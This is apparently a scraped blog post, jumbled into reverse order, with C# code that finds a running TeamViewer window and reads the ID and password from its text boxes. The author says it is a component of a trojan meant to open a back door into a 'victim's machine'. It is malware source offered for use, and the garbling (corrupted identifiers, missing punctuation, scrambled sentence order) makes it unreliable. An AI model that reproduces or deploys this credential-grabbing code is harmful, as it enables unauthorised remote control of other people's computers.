StringBuilder strbID = new StringBuilder((int)pLengthID) IntPtr pLengthPass = SendMessage(hWndPass, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero) IntPtr pLengthID = SendMessage(hWndID, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero) IntPtr hWndPass = FindWindowEx(hWndTeamViewer, hWndID, 'Edit', IntPtr.Zero) IntPtr hWndID = FindWindowEx(hWndTeamViewer, IntPtr.Zero, 'Edit', IntPtr.Zero) IntPtr hWndTeamViewer = FindWindowB圜aption(IntPtr.Zero, strTeamViewer) String strWindowsTitles = GetDesktopWindowsTitles() įoreach (string strTitle in strWindowsTitles) Static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, int wParam,StringBuilder lParam) Static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam) Public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, IntPtr windowTitle) Static extern IntPtr FindWindowB圜aption(IntPtr ZeroOnly, string lpWindowName) Note you must pass IntPtr.Zero as the first parameter.

If you can find more overload of SendMessage at Pinvoke site. Each of them can be used for suitable window messages. There are also many overload of SendMessage function.

In this example I used overload of SendMessage function to get text length and text of each textbox.

The function GetDesktopWindowsTitles you can see in previous blog. This ID and Pass are needed for building a remote connection to victim’s computer. In this blog I would like to post a small snippet of code to show how we can get ID and Pass from window of TeamViewer. As I said in my previous blog, I am improving a funny trojan which uses TeamViewer as its component to open a back door from victim’s machine.

How to get teamviewer id